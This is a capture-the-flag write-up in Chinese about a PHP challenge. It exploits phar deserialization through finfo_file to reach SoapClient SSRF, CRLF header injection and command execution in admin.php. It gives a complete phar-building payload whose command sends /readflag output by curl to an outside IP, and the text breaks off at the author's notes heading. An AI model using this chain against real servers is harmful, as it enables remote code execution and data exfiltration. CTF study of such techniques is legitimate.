// admin.php
include 'config.php';
class Ad{
public $cmd;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->cmd = $cmd;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
system($this->cmd);
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}
// func.php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "Your file type is '$file'
";
}
}
?>
// class.php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "") !== FALSE) {
die("<? in contents!");
}
}
}
首先是题目中我们获取flag的位置在admin.php中的__destruct
但是要实例化admin.php中的Ad类,必须是127.0.0.1登录,所以我们必须找到ssrf的利用点~~
我们看到class.php中的__wakeup()
,可以实例化任意类,所以我们要找到发序列化的点~~,在func.php中我们知道,当我们查看我们的上传文件时,会调用getMIME,而finfo_open
也会触发phar反序列化~~
所以我们的攻击流程也大致清楚了~~
我们首先上传phar
文件,然后反序列化,这样就能调用class.php中的__wakeup
,这个时候我们再实例化Soapclient类,这样就能ssrf访问admin.php,而且就能调用admin.php中的__destruct
中的系统命令了~~
payload:
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt','text');
$phar->setStub('');
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
这儿的filename为一个数组,和之前的实例化Soapclient类不一样,这个结合上文的代码稍微理解一下就行了,因为这儿的实例化是通过进行的
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
这儿再贴一下出题人的出题笔记~~,其实admin.php中的__destruct应该是__wakeup的,主要是考察
出题笔记